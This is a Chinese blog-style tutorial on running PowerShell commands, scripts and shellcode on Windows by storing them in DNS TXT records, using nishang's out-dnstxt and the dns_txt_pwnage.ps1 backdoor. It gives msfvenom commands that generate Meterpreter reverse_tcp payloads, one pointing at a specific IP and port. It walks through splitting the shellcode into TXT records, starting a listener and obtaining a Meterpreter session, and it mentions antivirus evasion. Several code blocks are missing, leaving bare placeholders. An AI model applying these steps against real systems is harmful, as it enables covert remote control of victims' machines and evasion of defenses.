通过DNS TXT记录执行powershell
0x00简介
dns txt记录一般用来记录某个主机名或者域名设置的说明,在这里可以填写任何东西,长度限制255。绝大多数的txt记录是用来做spf记录(反垃圾邮件)。本篇文章主要介绍如何使用 通过创建txt记录执行powershell脚本。当然,首先你要有一个域名。
0x01创建txt记录
这里需要使用nishang中的一个脚本 out-dnstxt 。
1.常见命令
因为常见命令比较短,所以可以直接添加到txt记录中,如下图:
现在查看一下txt记录:
可以看到记录已经成功添加了。
2.脚本
由于txt记录长度限制为255,如果要添加一个脚本到记录里面,需要添加多个txt记录。下面是一个例子,自己写了一个psh脚本:
使用out-dnstxt进行转换:
由于这个脚本比较小,所以只生产两行:
可以分别将这两行内容按顺序添加到 1.ps.domain.com到2.ps.domian.com中如下图:
查看txt,可以看到内容都已经添加好了:
0x02 执行powershell
添加完了txt记录以后,通过 dns_txt_pwnage.ps1 来执行这些脚本。
dns_txt_pwnage.ps1 是一个通过dns txt来接收命令或者脚本的一个后门脚本
这里还需要添加两条记录,strat与stop,具体如下图:
1.执行命令
解释一下参数:
startdomain 为创建的 start.domain ,返回一个字符串; cmdstring 为任意输入的字符串; commanddomain 为创建的执行命令txt记录的域名; psstring 为任意输入的字符串; psdomain 为创建的执行脚本txt记录的域名或子域名 ; subdomains 为执行脚本创建txt记录的个数(如1.2中创建的脚本,该值为2); stopstring 为任意输入的字符串。
此处比较重要的参数为 startdomain ,他会与我们输入的cmdstring以及psstring进行比较,如果与cmdstring值相等,则执行 commanddomain 即命令,与psstring相等则执行 psdomain 即脚本。
上面为执行命令,所以cmdstring值我们输入为start,与start.evi1cg.me的txt记录值相等,psstring随便输入,不留空就行。执行结果如下图:
我们可以通过修改command.domain的txt值来执行不同的命令。比如get-host:
2.执行脚本
这里要注意,psstring的值为start,与start.domain的txt记录相同,cmdstring为任意字符串。效果如下图:
这里多一个参数 arguments ,要写明要执行的函数名,测试发现,在脚本中含有中文时会失败。对于需要带参数的脚本可以修改脚本指定参数值。
0x03 执行shellcode
可以通过txt记录执行shellcode,首先,我们使用msf生成一个powershell的shellcode:
? ~ sudo msfvenom -p windows/meterpreter/reverse_tcp -f powershell lhost=x.x.x.x lport=8887 > pspayload.txt
使用out-dnstxt对生成的文件进行转换:
然后将以上记录分别添加到txt记录中,如下图:
测试使用的32位win7系统,使用msf开启监听:
我们还需要一个获取txt记录并执行的脚本,这里我改了一个脚本:
参数说明, shelldomain 为创建txt记录的域名或子域名; subdomains 为创建txt域名的个数,如上面所创建的为3; authns 为域的权威名称服务器,如我使用的狗爹,所以authns为f1g1ns2.dnspod.net
在32位win7上执行:
ps c:/users/evi1cg/desktop> . ./execute-code.ps1
成功获取meterpreter会话:
64位的请自行修改payload及脚本。
0x04 补充
metasploit中已经含有此脚本 ,此脚本查询txt记录的顺序为a.domain,b.domain…,下面是一个示例,首先生成payload:
? ~ sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=103.238.225.222 lport=8887 -e x86/alpha_mixed bufferregister=edi -f raw > reverse.txt
使用下面的脚本对该文件进行切割:
0
输出如下:
将这三行分别添加到a.domain,b.domain,c.domain的txt记录中:
生成exe:
1
msf开启监听:
2
运行exe,获得meterpreter:
至于免杀,可以直接生成c格式的shellcode,然后按照 来做。
0x05 小结
本文主要介绍一种执行命令的方式以及nishang的脚本使用,希望能对大家有帮助。
上一篇: 详谈Ubuntu PowerShell(小白入门必看教程)
下一篇: STM32端口复用